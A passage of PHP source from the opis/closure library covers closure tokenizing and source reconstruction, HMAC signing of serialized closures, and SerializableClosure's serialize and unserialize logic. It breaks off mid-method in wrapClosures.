$className = $this->getClosureScopeClass()) { 76 | $className = '\\' . trim($className->getName(), '\\'); 77 | } 78 | 79 | 80 | if($php7 = PHP_MAJOR_VERSION === 7){ 81 | switch (PHP_MINOR_VERSION){ 82 | case 0: 83 | $php7_types = array('string', 'int', 'bool', 'float'); 84 | break; 85 | case 1: 86 | $php7_types = array('string', 'int', 'bool', 'float', 'void'); 87 | break; 88 | case 2: 89 | default: 90 | $php7_types = array('string', 'int', 'bool', 'float', 'void', 'object'); 91 | } 92 | } 93 | 94 | $ns = $this->getNamespaceName(); 95 | $nsf = $ns == '' ? '' : ($ns[0] == '\\' ? $ns : '\\' . $ns); 96 | 97 | $_file = var_export($fileName, true); 98 | $_dir = var_export(dirname($fileName), true); 99 | $_namespace = var_export($ns, true); 100 | $_class = var_export(trim($className, '\\'), true); 101 | $_function = $ns . ($ns == '' ? '' : '\\') . '{closure}'; 102 | $_method = ($className == '' ? '' : trim($className, '\\') . '::') . $_function; 103 | $_function = var_export($_function, true); 104 | $_method = var_export($_method, true); 105 | $_trait = null; 106 | 107 | $tokens = $this->getTokens(); 108 | $state = $lastState = 'start'; 109 | $inside_anonymous = false; 110 | $anonymous_mark = 0; 111 | $open = 0; 112 | $code = ''; 113 | $id_start = $id_start_ci = $id_name = $context = ''; 114 | $classes = $functions = $constants = null; 115 | $use = array(); 116 | $lineAdd = 0; 117 | $isUsingScope = false; 118 | $isUsingThisObject = false; 119 | 120 | for($i = 0, $l = count($tokens); $i < $l; $i++) { 121 | $token = $tokens[$i]; 122 | switch ($state) { 123 | case 'start': 124 | if ($token[0] === T_FUNCTION || $token[0] === T_STATIC) { 125 | $code .= $token[1]; 126 | $state = $token[0] === T_FUNCTION ? 'function' : 'static'; 127 | } 128 | break; 129 | case 'static': 130 | if ($token[0] === T_WHITESPACE || $token[0] === T_COMMENT || $token[0] === T_FUNCTION) { 131 | $code .= $token[1]; 132 | if ($token[0] === T_FUNCTION) { 133 | $state = 'function'; 134 | } 135 | } else { 136 | $code = ''; 137 | $state = 'start'; 138 | } 139 | break; 140 | case 'function': 141 | switch ($token[0]){ 142 | case T_STRING: 143 | $code = ''; 144 | $state = 'named_function'; 145 | break; 146 | case '(': 147 | $code .= '('; 148 | $state = 'closure_args'; 149 | break; 150 | default: 151 | $code .= is_array($token) ? $token[1] : $token; 152 | } 153 | break; 154 | case 'named_function': 155 | if($token[0] === T_FUNCTION || $token[0] === T_STATIC){ 156 | $code = $token[1]; 157 | $state = $token[0] === T_FUNCTION ? 'function' : 'static'; 158 | } 159 | break; 160 | case 'closure_args': 161 | switch ($token[0]){ 162 | case T_NS_SEPARATOR: 163 | case T_STRING: 164 | $id_start = $token[1]; 165 | $id_start_ci = strtolower($id_start); 166 | $id_name = ''; 167 | $context = 'args'; 168 | $state = 'id_name'; 169 | $lastState = 'closure_args'; 170 | break; 171 | case T_USE: 172 | $code .= $token[1]; 173 | $state = 'use'; 174 | break; 175 | case '=': 176 | $code .= $token; 177 | $lastState = 'closure_args'; 178 | $state = 'ignore_next'; 179 | break; 180 | case ':': 181 | $code .= ':'; 182 | $state = 'return'; 183 | break; 184 | case '{': 185 | $code .= '{'; 186 | $state = 'closure'; 187 | $open++; 188 | break; 189 | default: 190 | $code .= is_array($token) ? $token[1] : $token; 191 | } 192 | break; 193 | case 'use': 194 | switch ($token[0]){ 195 | case T_VARIABLE: 196 | $use[] = substr($token[1], 1); 197 | $code .= $token[1]; 198 | break; 199 | case '{': 200 | $code .= '{'; 201 | $state = 'closure'; 202 | $open++; 203 | break; 204 | case ':': 205 | $code .= ':'; 206 | $state = 'return'; 207 | break; 208 | default: 209 | $code .= is_array($token) ? $token[1] : $token; 210 | break; 211 | } 212 | break; 213 | case 'return': 214 | switch ($token[0]){ 215 | case T_WHITESPACE: 216 | case T_COMMENT: 217 | case T_DOC_COMMENT: 218 | $code .= $token[1]; 219 | break; 220 | case T_NS_SEPARATOR: 221 | case T_STRING: 222 | $id_start = $token[1]; 223 | $id_start_ci = strtolower($id_start); 224 | $id_name = ''; 225 | $context = 'return_type'; 226 | $state = 'id_name'; 227 | $lastState = 'return'; 228 | break 2; 229 | case '{': 230 | $code .= '{'; 231 | $state = 'closure'; 232 | $open++; 233 | break; 234 | default: 235 | $code .= is_array($token) ? $token[1] : $token; 236 | break; 237 | } 238 | break; 239 | case 'closure': 240 | switch ($token[0]){ 241 | case T_CURLY_OPEN: 242 | case T_DOLLAR_OPEN_CURLY_BRACES: 243 | case T_STRING_VARNAME: 244 | case '{': 245 | $code .= '{'; 246 | $open++; 247 | break; 248 | case '}': 249 | $code .= '}'; 250 | if(--$open === 0){ 251 | break 3; 252 | } elseif ($inside_anonymous) { 253 | $inside_anonymous = !($open === $anonymous_mark); 254 | } 255 | break; 256 | case T_LINE: 257 | $code .= $token[2] - $line + $lineAdd; 258 | break; 259 | case T_FILE: 260 | $code .= $_file; 261 | break; 262 | case T_DIR: 263 | $code .= $_dir; 264 | break; 265 | case T_NS_C: 266 | $code .= $_namespace; 267 | break; 268 | case T_CLASS_C: 269 | $code .= $_class; 270 | break; 271 | case T_FUNC_C: 272 | $code .= $_function; 273 | break; 274 | case T_METHOD_C: 275 | $code .= $_method; 276 | break; 277 | case T_COMMENT: 278 | if (substr($token[1], 0, 8) === '#trackme') { 279 | $timestamp = time(); 280 | $code .= '/**' . PHP_EOL; 281 | $code .= '* Date : ' . date(DATE_W3C, $timestamp) . PHP_EOL; 282 | $code .= '* Timestamp : ' . $timestamp . PHP_EOL; 283 | $code .= '* Line : ' . ($line + 1) . PHP_EOL; 284 | $code .= '* File : ' . $_file . PHP_EOL . '*/' . PHP_EOL; 285 | $lineAdd += 5; 286 | } else { 287 | $code .= $token[1]; 288 | } 289 | break; 290 | case T_VARIABLE: 291 | if($token[1] == '$this' && !$inside_anonymous){ 292 | $isUsingThisObject = true; 293 | } 294 | $code .= $token[1]; 295 | break; 296 | case T_STATIC: 297 | $isUsingScope = true; 298 | $code .= $token[1]; 299 | break; 300 | case T_NS_SEPARATOR: 301 | case T_STRING: 302 | $id_start = $token[1]; 303 | $id_start_ci = strtolower($id_start); 304 | $id_name = ''; 305 | $context = 'root'; 306 | $state = 'id_name'; 307 | $lastState = 'closure'; 308 | break 2; 309 | case T_NEW: 310 | $code .= $token[1]; 311 | $context = 'new'; 312 | $state = 'id_start'; 313 | $lastState = 'closure'; 314 | break 2; 315 | case T_USE: 316 | $code .= $token[1]; 317 | $context = 'use'; 318 | $state = 'id_start'; 319 | $lastState = 'closure'; 320 | break; 321 | case T_INSTANCEOF: 322 | $code .= $token[1]; 323 | $context = 'instanceof'; 324 | $state = 'id_start'; 325 | $lastState = 'closure'; 326 | break; 327 | case T_OBJECT_OPERATOR: 328 | case T_DOUBLE_COLON: 329 | $code .= $token[1]; 330 | $lastState = 'closure'; 331 | $state = 'ignore_next'; 332 | break; 333 | case T_FUNCTION: 334 | $code .= $token[1]; 335 | $state = 'closure_args'; 336 | break; 337 | case T_TRAIT_C: 338 | if ($_trait === null) { 339 | $startLine = $this->getStartLine(); 340 | $endLine = $this->getEndLine(); 341 | $structures = $this->getStructures(); 342 | 343 | $_trait = ''; 344 | 345 | foreach ($structures as &$struct) { 346 | if ($struct['type'] === 'trait' && 347 | $struct['start'] <= $startLine && 348 | $struct['end'] >= $endLine 349 | ) { 350 | $_trait = ($ns == '' ? '' : $ns . '\\') . $struct['name']; 351 | break; 352 | } 353 | } 354 | 355 | $_trait = var_export($_trait, true); 356 | } 357 | 358 | $code .= $_trait; 359 | break; 360 | default: 361 | $code .= is_array($token) ? $token[1] : $token; 362 | } 363 | break; 364 | case 'ignore_next': 365 | switch ($token[0]){ 366 | case T_WHITESPACE: 367 | case T_COMMENT: 368 | case T_DOC_COMMENT: 369 | $code .= $token[1]; 370 | break; 371 | case T_CLASS: 372 | case T_NEW: 373 | case T_STATIC: 374 | case T_VARIABLE: 375 | case T_STRING: 376 | case T_CLASS_C: 377 | case T_FILE: 378 | case T_DIR: 379 | case T_METHOD_C: 380 | case T_FUNC_C: 381 | case T_FUNCTION: 382 | case T_INSTANCEOF: 383 | case T_LINE: 384 | case T_NS_C: 385 | case T_TRAIT_C: 386 | case T_USE: 387 | $code .= $token[1]; 388 | $state = $lastState; 389 | break; 390 | default: 391 | $state = $lastState; 392 | $i--; 393 | } 394 | break; 395 | case 'id_start': 396 | switch ($token[0]){ 397 | case T_WHITESPACE: 398 | case T_COMMENT: 399 | case T_DOC_COMMENT: 400 | $code .= $token[1]; 401 | break; 402 | case T_NS_SEPARATOR: 403 | case T_STRING: 404 | case T_STATIC: 405 | $id_start = $token[1]; 406 | $id_start_ci = strtolower($id_start); 407 | $id_name = ''; 408 | $state = 'id_name'; 409 | break 2; 410 | case T_VARIABLE: 411 | $code .= $token[1]; 412 | $state = $lastState; 413 | break; 414 | case T_CLASS: 415 | $code .= $token[1]; 416 | $state = 'anonymous'; 417 | break; 418 | default: 419 | $i--;//reprocess last 420 | $state = 'id_name'; 421 | } 422 | break; 423 | case 'id_name': 424 | switch ($token[0]){ 425 | case T_NS_SEPARATOR: 426 | case T_STRING: 427 | $id_name .= $token[1]; 428 | break; 429 | case T_WHITESPACE: 430 | case T_COMMENT: 431 | case T_DOC_COMMENT: 432 | $id_name .= $token[1]; 433 | break; 434 | case '(': 435 | if($context === 'new' || false !== strpos($id_name, '\\')){ 436 | if($id_start !== '\\'){ 437 | if ($classes === null) { 438 | $classes = $this->getClasses(); 439 | } 440 | if (isset($classes[$id_start_ci])) { 441 | $id_start = $classes[$id_start_ci]; 442 | } 443 | if($id_start[0] !== '\\'){ 444 | $id_start = $nsf . '\\' . $id_start; 445 | } 446 | } 447 | } else { 448 | if($id_start !== '\\'){ 449 | if($functions === null){ 450 | $functions = $this->getFunctions(); 451 | } 452 | if(isset($functions[$id_start_ci])){ 453 | $id_start = $functions[$id_start_ci]; 454 | } 455 | } 456 | } 457 | $code .= $id_start . $id_name . '('; 458 | $state = $lastState; 459 | break; 460 | case T_VARIABLE: 461 | case T_DOUBLE_COLON: 462 | if($id_start !== '\\') { 463 | if($id_start_ci === 'self' || $id_start_ci === 'static' || $id_start_ci === 'parent'){ 464 | $isUsingScope = true; 465 | } elseif (!($php7 && in_array($id_start_ci, $php7_types))){ 466 | if ($classes === null) { 467 | $classes = $this->getClasses(); 468 | } 469 | if (isset($classes[$id_start_ci])) { 470 | $id_start = $classes[$id_start_ci]; 471 | } 472 | if($id_start[0] !== '\\'){ 473 | $id_start = $nsf . '\\' . $id_start; 474 | } 475 | } 476 | } 477 | $code .= $id_start . $id_name . $token[1]; 478 | $state = $token[0] === T_DOUBLE_COLON ? 'ignore_next' : $lastState; 479 | break; 480 | default: 481 | if($id_start !== '\\'){ 482 | if($context === 'use' || 483 | $context === 'instanceof' || 484 | $context === 'args' || 485 | $context === 'return_type' || 486 | $context === 'extends' 487 | ){ 488 | if($id_start_ci === 'self' || $id_start_ci === 'static' || $id_start_ci === 'parent'){ 489 | $isUsingScope = true; 490 | } elseif (!($php7 && in_array($id_start_ci, $php7_types))){ 491 | if($classes === null){ 492 | $classes = $this->getClasses(); 493 | } 494 | if(isset($classes[$id_start_ci])){ 495 | $id_start = $classes[$id_start_ci]; 496 | } 497 | if($id_start[0] !== '\\'){ 498 | $id_start = $nsf . '\\' . $id_start; 499 | } 500 | } 501 | } else { 502 | if($constants === null){ 503 | $constants = $this->getConstants(); 504 | } 505 | if(isset($constants[$id_start])){ 506 | $id_start = $constants[$id_start]; 507 | } 508 | } 509 | } 510 | $code .= $id_start . $id_name; 511 | $state = $lastState; 512 | $i--;//reprocess last token 513 | } 514 | break; 515 | case 'anonymous': 516 | switch ($token[0]) { 517 | case T_NS_SEPARATOR: 518 | case T_STRING: 519 | $id_start = $token[1]; 520 | $id_start_ci = strtolower($id_start); 521 | $id_name = ''; 522 | $state = 'id_name'; 523 | $context = 'extends'; 524 | $lastState = 'anonymous'; 525 | break; 526 | case '{': 527 | $state = 'closure'; 528 | if (!$inside_anonymous) { 529 | $inside_anonymous = true; 530 | $anonymous_mark = $open; 531 | } 532 | $i--; 533 | break; 534 | default: 535 | $code .= is_array($token) ? $token[1] : $token; 536 | } 537 | break; 538 | } 539 | } 540 | 541 | $this->isBindingRequired = $isUsingThisObject; 542 | $this->isScopeRequired = $isUsingScope; 543 | $this->code = $code; 544 | $this->useVariables = empty($use) ? $use : array_intersect_key($this->getStaticVariables(), array_flip($use)); 545 | 546 | return $this->code; 547 | } 548 | 549 | /** 550 | * @return array 551 | */ 552 | public function getUseVariables() 553 | { 554 | if($this->useVariables !== null){ 555 | return $this->useVariables; 556 | } 557 | 558 | $tokens = $this->getTokens(); 559 | $use = array(); 560 | $state = 'start'; 561 | 562 | foreach ($tokens as &$token) { 563 | $is_array = is_array($token); 564 | 565 | switch ($state) { 566 | case 'start': 567 | if ($is_array && $token[0] === T_USE) { 568 | $state = 'use'; 569 | } 570 | break; 571 | case 'use': 572 | if ($is_array) { 573 | if ($token[0] === T_VARIABLE) { 574 | $use[] = substr($token[1], 1); 575 | } 576 | } elseif ($token == ')') { 577 | break 2; 578 | } 579 | break; 580 | } 581 | } 582 | 583 | $this->useVariables = empty($use) ? $use : array_intersect_key($this->getStaticVariables(), array_flip($use)); 584 | 585 | return $this->useVariables; 586 | } 587 | 588 | /** 589 | * return bool 590 | */ 591 | public function isBindingRequired() 592 | { 593 | if($this->isBindingRequired === null){ 594 | $this->getCode(); 595 | } 596 | 597 | return $this->isBindingRequired; 598 | } 599 | 600 | /** 601 | * return bool 602 | */ 603 | public function isScopeRequired() 604 | { 605 | if($this->isScopeRequired === null){ 606 | $this->getCode(); 607 | } 608 | 609 | return $this->isScopeRequired; 610 | } 611 | 612 | /** 613 | * @return string 614 | */ 615 | protected function getHashedFileName() 616 | { 617 | if ($this->hashedName === null) { 618 | $this->hashedName = sha1($this->getFileName()); 619 | } 620 | 621 | return $this->hashedName; 622 | } 623 | 624 | /** 625 | * @return array 626 | */ 627 | protected function getFileTokens() 628 | { 629 | $key = $this->getHashedFileName(); 630 | 631 | if (!isset(static::$files[$key])) { 632 | static::$files[$key] = token_get_all(file_get_contents($this->getFileName())); 633 | } 634 | 635 | return static::$files[$key]; 636 | } 637 | 638 | /** 639 | * @return array 640 | */ 641 | protected function getTokens() 642 | { 643 | if ($this->tokens === null) { 644 | $tokens = $this->getFileTokens(); 645 | $startLine = $this->getStartLine(); 646 | $endLine = $this->getEndLine(); 647 | $results = array(); 648 | $start = false; 649 | 650 | foreach ($tokens as &$token) { 651 | if (!is_array($token)) { 652 | if ($start) { 653 | $results[] = $token; 654 | } 655 | 656 | continue; 657 | } 658 | 659 | $line = $token[2]; 660 | 661 | if ($line <= $endLine) { 662 | if ($line >= $startLine) { 663 | $start = true; 664 | $results[] = $token; 665 | } 666 | 667 | continue; 668 | } 669 | 670 | break; 671 | } 672 | 673 | $this->tokens = $results; 674 | } 675 | 676 | return $this->tokens; 677 | } 678 | 679 | /** 680 | * @return array 681 | */ 682 | protected function getClasses() 683 | { 684 | $key = $this->getHashedFileName(); 685 | 686 | if (!isset(static::$classes[$key])) { 687 | $this->fetchItems(); 688 | } 689 | 690 | return static::$classes[$key]; 691 | } 692 | 693 | /** 694 | * @return array 695 | */ 696 | protected function getFunctions() 697 | { 698 | $key = $this->getHashedFileName(); 699 | 700 | if (!isset(static::$functions[$key])) { 701 | $this->fetchItems(); 702 | } 703 | 704 | return static::$functions[$key]; 705 | } 706 | 707 | /** 708 | * @return array 709 | */ 710 | protected function getConstants() 711 | { 712 | $key = $this->getHashedFileName(); 713 | 714 | if (!isset(static::$constants[$key])) { 715 | $this->fetchItems(); 716 | } 717 | 718 | return static::$constants[$key]; 719 | } 720 | 721 | /** 722 | * @return array 723 | */ 724 | protected function getStructures() 725 | { 726 | $key = $this->getHashedFileName(); 727 | 728 | if (!isset(static::$structures[$key])) { 729 | $this->fetchItems(); 730 | } 731 | 732 | return static::$structures[$key]; 733 | } 734 | 735 | protected function fetchItems() 736 | { 737 | $key = $this->getHashedFileName(); 738 | 739 | $classes = array(); 740 | $functions = array(); 741 | $constants = array(); 742 | $structures = array(); 743 | $tokens = $this->getFileTokens(); 744 | 745 | $open = 0; 746 | $state = 'start'; 747 | $lastState = ''; 748 | $prefix = ''; 749 | $name = ''; 750 | $alias = ''; 751 | $isFunc = $isConst = false; 752 | 753 | $startLine = $endLine = 0; 754 | $structType = $structName = ''; 755 | $structIgnore = false; 756 | 757 | foreach ($tokens as $token) { 758 | 759 | switch ($state) { 760 | case 'start': 761 | switch ($token[0]) { 762 | case T_CLASS: 763 | case T_INTERFACE: 764 | case T_TRAIT: 765 | $state = 'before_structure'; 766 | $startLine = $token[2]; 767 | $structType = $token[0] == T_CLASS 768 | ? 'class' 769 | : ($token[0] == T_INTERFACE ? 'interface' : 'trait'); 770 | break; 771 | case T_USE: 772 | $state = 'use'; 773 | $prefix = $name = $alias = ''; 774 | $isFunc = $isConst = false; 775 | break; 776 | case T_FUNCTION: 777 | $state = 'structure'; 778 | $structIgnore = true; 779 | break; 780 | case T_NEW: 781 | $state = 'new'; 782 | break; 783 | case T_OBJECT_OPERATOR: 784 | case T_DOUBLE_COLON: 785 | $state = 'invoke'; 786 | break; 787 | } 788 | break; 789 | case 'use': 790 | switch ($token[0]) { 791 | case T_FUNCTION: 792 | $isFunc = true; 793 | break; 794 | case T_CONST: 795 | $isConst = true; 796 | break; 797 | case T_NS_SEPARATOR: 798 | $name .= $token[1]; 799 | break; 800 | case T_STRING: 801 | $name .= $token[1]; 802 | $alias = $token[1]; 803 | break; 804 | case T_AS: 805 | $lastState = 'use'; 806 | $state = 'alias'; 807 | break; 808 | case '{': 809 | $prefix = $name; 810 | $name = $alias = ''; 811 | $state = 'use-group'; 812 | break; 813 | case ',': 814 | case ';': 815 | if ($name === '' || $name[0] !== '\\') { 816 | $name = '\\' . $name; 817 | } 818 | 819 | if ($alias !== '') { 820 | if ($isFunc) { 821 | $functions[strtolower($alias)] = $name; 822 | } elseif ($isConst) { 823 | $constants[$alias] = $name; 824 | } else { 825 | $classes[strtolower($alias)] = $name; 826 | } 827 | } 828 | $name = $alias = ''; 829 | $state = $token === ';' ? 'start' : 'use'; 830 | break; 831 | } 832 | break; 833 | case 'use-group': 834 | switch ($token[0]) { 835 | case T_NS_SEPARATOR: 836 | $name .= $token[1]; 837 | break; 838 | case T_STRING: 839 | $name .= $token[1]; 840 | $alias = $token[1]; 841 | break; 842 | case T_AS: 843 | $lastState = 'use-group'; 844 | $state = 'alias'; 845 | break; 846 | case ',': 847 | case '}': 848 | 849 | if ($prefix === '' || $prefix[0] !== '\\') { 850 | $prefix = '\\' . $prefix; 851 | } 852 | 853 | if ($alias !== '') { 854 | if ($isFunc) { 855 | $functions[strtolower($alias)] = $prefix . $name; 856 | } elseif ($isConst) { 857 | $constants[$alias] = $prefix . $name; 858 | } else { 859 | $classes[strtolower($alias)] = $prefix . $name; 860 | } 861 | } 862 | $name = $alias = ''; 863 | $state = $token === '}' ? 'use' : 'use-group'; 864 | break; 865 | } 866 | break; 867 | case 'alias': 868 | if ($token[0] === T_STRING) { 869 | $alias = $token[1]; 870 | $state = $lastState; 871 | } 872 | break; 873 | case 'new': 874 | switch ($token[0]) { 875 | case T_WHITESPACE: 876 | case T_COMMENT: 877 | case T_DOC_COMMENT: 878 | break 2; 879 | case T_CLASS: 880 | $state = 'structure'; 881 | $structIgnore = true; 882 | break; 883 | default: 884 | $state = 'start'; 885 | } 886 | break; 887 | case 'invoke': 888 | switch ($token[0]) { 889 | case T_WHITESPACE: 890 | case T_COMMENT: 891 | case T_DOC_COMMENT: 892 | break 2; 893 | default: 894 | $state = 'start'; 895 | } 896 | break; 897 | case 'before_structure': 898 | if ($token[0] == T_STRING) { 899 | $structName = $token[1]; 900 | $state = 'structure'; 901 | } 902 | break; 903 | case 'structure': 904 | switch ($token[0]) { 905 | case '{': 906 | case T_CURLY_OPEN: 907 | case T_DOLLAR_OPEN_CURLY_BRACES: 908 | case T_STRING_VARNAME: 909 | $open++; 910 | break; 911 | case '}': 912 | if (--$open == 0) { 913 | if(!$structIgnore){ 914 | $structures[] = array( 915 | 'type' => $structType, 916 | 'name' => $structName, 917 | 'start' => $startLine, 918 | 'end' => $endLine, 919 | ); 920 | } 921 | $structIgnore = false; 922 | $state = 'start'; 923 | } 924 | break; 925 | default: 926 | if (is_array($token)) { 927 | $endLine = $token[2]; 928 | } 929 | } 930 | break; 931 | } 932 | } 933 | 934 | static::$classes[$key] = $classes; 935 | static::$functions[$key] = $functions; 936 | static::$constants[$key] = $constants; 937 | static::$structures[$key] = $structures; 938 | } 939 | } 940 | -------------------------------------------------------------------------------- /lib/opis/closure/src/SecurityException.php: -------------------------------------------------------------------------------- 1 | secret = $secret; 22 | } 23 | 24 | /** 25 | * @inheritdoc 26 | */ 27 | public function sign($closure) 28 | { 29 | return array( 30 | 'closure' => $closure, 31 | 'hash' => base64_encode(hash_hmac('sha256', $closure, $this->secret, true)), 32 | ); 33 | } 34 | 35 | /** 36 | * @inheritdoc 37 | */ 38 | public function verify(array $data) 39 | { 40 | return base64_encode(hash_hmac('sha256', $data['closure'], $this->secret, true)) === $data['hash']; 41 | } 42 | } -------------------------------------------------------------------------------- /lib/opis/closure/src/SelfReference.php: -------------------------------------------------------------------------------- 1 | hash = $hash; 30 | } 31 | } -------------------------------------------------------------------------------- /lib/opis/closure/src/SerializableClosure.php: -------------------------------------------------------------------------------- 1 | closure = $closure; 73 | if (static::$context !== null) { 74 | $this->scope = static::$context->scope; 75 | $this->scope->toserialize++; 76 | } 77 | } 78 | 79 | /** 80 | * Get the Closure object 81 | * 82 | * @return Closure The wrapped closure 83 | */ 84 | public function getClosure() 85 | { 86 | return $this->closure; 87 | } 88 | 89 | /** 90 | * Get the reflector for closure 91 | * 92 | * @return ReflectionClosure 93 | */ 94 | public function getReflector() 95 | { 96 | if ($this->reflector === null) { 97 | $this->reflector = new ReflectionClosure($this->closure, $this->code); 98 | $this->code = null; 99 | } 100 | 101 | return $this->reflector; 102 | } 103 | 104 | /** 105 | * Implementation of magic method __invoke() 106 | */ 107 | public function __invoke() 108 | { 109 | return call_user_func_array($this->closure, func_get_args()); 110 | } 111 | 112 | /** 113 | * Implementation of Serializable::serialize() 114 | * 115 | * @return string The serialized closure 116 | */ 117 | public function serialize() 118 | { 119 | if ($this->scope === null) { 120 | $this->scope = new ClosureScope(); 121 | $this->scope->toserialize++; 122 | } 123 | 124 | $this->scope->serializations++; 125 | 126 | $scope = $object = null; 127 | $reflector = $this->getReflector(); 128 | 129 | if($reflector->isBindingRequired()){ 130 | $object = $reflector->getClosureThis(); 131 | static::wrapClosures($object, $this->scope); 132 | if($scope = $reflector->getClosureScopeClass()){ 133 | $scope = $scope->name; 134 | } 135 | } elseif($reflector->isScopeRequired()) { 136 | if($scope = $reflector->getClosureScopeClass()){ 137 | $scope = $scope->name; 138 | } 139 | } 140 | 141 | $this->reference = spl_object_hash($this->closure); 142 | 143 | $this->scope[$this->closure] = $this; 144 | 145 | $use = $this->transformUseVariables($reflector->getUseVariables()); 146 | $code = $reflector->getCode(); 147 | 148 | $this->mapByReference($use); 149 | 150 | $ret = \serialize(array( 151 | 'use' => $use, 152 | 'function' => $code, 153 | 'scope' => $scope, 154 | 'this' => $object, 155 | 'self' => $this->reference, 156 | )); 157 | 158 | if (static::$securityProvider !== null) { 159 | $data = static::$securityProvider->sign($ret); 160 | $ret = '@' . $data['hash'] . '.' . $data['closure']; 161 | } 162 | 163 | if (!--$this->scope->serializations && !--$this->scope->toserialize) { 164 | $this->scope = null; 165 | } 166 | 167 | return $ret; 168 | } 169 | 170 | /** 171 | * Transform the use variables before serialization. 172 | * 173 | * @param array $data The Closure's use variables 174 | * @return array 175 | */ 176 | protected function transformUseVariables($data) 177 | { 178 | return $data; 179 | } 180 | 181 | /** 182 | * Implementation of Serializable::unserialize() 183 | * 184 | * @param string $data Serialized data 185 | * @throws SecurityException 186 | */ 187 | public function unserialize($data) 188 | { 189 | ClosureStream::register(); 190 | 191 | if (static::$securityProvider !== null) { 192 | if ($data[0] !== '@') { 193 | throw new SecurityException("The serialized closure is not signed. ". 194 | "Make sure you use a security provider for both serialization and unserialization."); 195 | } 196 | 197 | if ($data[1] !== '{') { 198 | $separator = strpos($data, '.'); 199 | if ($separator === false) { 200 | throw new SecurityException('Invalid signed closure'); 201 | } 202 | $hash = substr($data, 1, $separator - 1); 203 | $closure = substr($data, $separator + 1); 204 | 205 | $data = ['hash' => $hash, 'closure' => $closure]; 206 | 207 | unset($hash, $closure); 208 | } else { 209 | $data = json_decode(substr($data, 1), true); 210 | } 211 | 212 | if (!is_array($data) || !static::$securityProvider->verify($data)) { 213 | throw new SecurityException("Your serialized closure might have been modified and it's unsafe to be unserialized. " . 214 | "Make sure you use the same security provider, with the same settings, " . 215 | "both for serialization and unserialization."); 216 | } 217 | 218 | $data = $data['closure']; 219 | } elseif ($data[0] === '@') { 220 | if ($data[1] !== '{') { 221 | $separator = strpos($data, '.'); 222 | if ($separator === false) { 223 | throw new SecurityException('Invalid signed closure'); 224 | } 225 | $hash = substr($data, 1, $separator - 1); 226 | $closure = substr($data, $separator + 1); 227 | 228 | $data = ['hash' => $hash, 'closure' => $closure]; 229 | 230 | unset($hash, $closure); 231 | } else { 232 | $data = json_decode(substr($data, 1), true); 233 | } 234 | 235 | if (!is_array($data) || !isset($data['closure']) || !isset($data['hash'])) { 236 | throw new SecurityException('Invalid signed closure'); 237 | } 238 | 239 | $data = $data['closure']; 240 | } 241 | 242 | $this->code = \unserialize($data); 243 | 244 | // unset data 245 | unset($data); 246 | 247 | $this->code['objects'] = array(); 248 | 249 | if ($this->code['use']) { 250 | $this->scope = new ClosureScope(); 251 | $this->code['use'] = $this->resolveUseVariables($this->code['use']); 252 | $this->mapPointers($this->code['use']); 253 | extract($this->code['use'], EXTR_OVERWRITE | EXTR_REFS); 254 | $this->scope = null; 255 | } 256 | 257 | $this->closure = include(ClosureStream::STREAM_PROTO . '://' . $this->code['function']); 258 | 259 | if($this->code['this'] === $this){ 260 | $this->code['this'] = null; 261 | } 262 | 263 | if ($this->code['scope'] !== null || $this->code['this'] !== null) { 264 | $this->closure = $this->closure->bindTo($this->code['this'], $this->code['scope']); 265 | } 266 | 267 | if(!empty($this->code['objects'])){ 268 | foreach ($this->code['objects'] as $item){ 269 | $item['property']->setValue($item['instance'], $item['object']->getClosure()); 270 | } 271 | } 272 | 273 | $this->code = $this->code['function']; 274 | } 275 | 276 | /** 277 | * Resolve the use variables after unserialization. 278 | * 279 | * @param array $data The Closure's transformed use variables 280 | * @return array 281 | */ 282 | protected function resolveUseVariables($data) 283 | { 284 | return $data; 285 | } 286 | 287 | /** 288 | * Wraps a closure and sets the serialization context (if any) 289 | * 290 | * @param Closure $closure Closure to be wrapped 291 | * 292 | * @return self The wrapped closure 293 | */ 294 | public static function from(Closure $closure) 295 | { 296 | if (static::$context === null) { 297 | $instance = new static($closure); 298 | } elseif (isset(static::$context->scope[$closure])) { 299 | $instance = static::$context->scope[$closure]; 300 | } else { 301 | $instance = new static($closure); 302 | static::$context->scope[$closure] = $instance; 303 | } 304 | 305 | return $instance; 306 | } 307 | 308 | /** 309 | * Increments the context lock counter or creates a new context if none exist 310 | */ 311 | public static function enterContext() 312 | { 313 | if (static::$context === null) { 314 | static::$context = new ClosureContext(); 315 | } 316 | 317 | static::$context->locks++; 318 | } 319 | 320 | /** 321 | * Decrements the context lock counter and destroy the context when it reaches to 0 322 | */ 323 | public static function exitContext() 324 | { 325 | if (static::$context !== null && !--static::$context->locks) { 326 | static::$context = null; 327 | } 328 | } 329 | 330 | /** 331 | * @param string $secret 332 | */ 333 | public static function setSecretKey($secret) 334 | { 335 | if(static::$securityProvider === null){ 336 | static::$securityProvider = new SecurityProvider($secret); 337 | } 338 | } 339 | 340 | /** 341 | * @param ISecurityProvider $securityProvider 342 | */ 343 | public static function addSecurityProvider(ISecurityProvider $securityProvider) 344 | { 345 | static::$securityProvider = $securityProvider; 346 | } 347 | 348 | /** 349 | * Remove security provider 350 | */ 351 | public static function removeSecurityProvider() 352 | { 353 | static::$securityProvider = null; 354 | } 355 | 356 | /** 357 | * @return null|ISecurityProvider 358 | */ 359 | public static function getSecurityProvider() 360 | { 361 | return static::$securityProvider; 362 | } 363 | 364 | /** 365 | * Wrap closures 366 | * 367 | * @internal 368 | * @param $data 369 | * @param ClosureScope|SplObjectStorage|null $storage 370 | */ 371 | public static function wrapClosures(&$data, SplObjectStorage $storage = null) 372 | { 373 | static::enterContext(); 374 | 375 | if($storage === null){ 376 | $storage = static::$context->scope; 377 | } 378 | 379 | if($data instanceof Closure){ 380 | $data = static::from($data); 381 | } elseif (is_array($data)){ 382 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 383 | return; 384 | } 385 | $data[self::ARRAY_RECURSIVE_KEY] = true; 386 | foreach ($data as $key => &$value){ 387 | if($key === self::ARRAY_RECURSIVE_KEY){ 388 | continue; 389 | } 390 | static::wrapClosures($value, $storage); 391 | } 392 | unset($value); 393 | unset($data[self::ARRAY_RECURSIVE_KEY]); 394 | } elseif($data instanceof \stdClass){ 395 | if(isset($storage[$data])){ 396 | $data = $storage[$data]; 397 | return; 398 | } 399 | $data = $storage[$data] = clone($data); 400 | foreach ($data as &$value){ 401 | static::wrapClosures($value, $storage); 402 | } 403 | unset($value); 404 | } elseif (is_object($data) && ! $data instanceof static){ 405 | if(isset($storage[$data])){ 406 | $data = $storage[$data]; 407 | return; 408 | } 409 | $instance = $data; 410 | $reflection = new ReflectionObject($instance); 411 | if(!$reflection->isUserDefined()){ 412 | $storage[$instance] = $data; 413 | 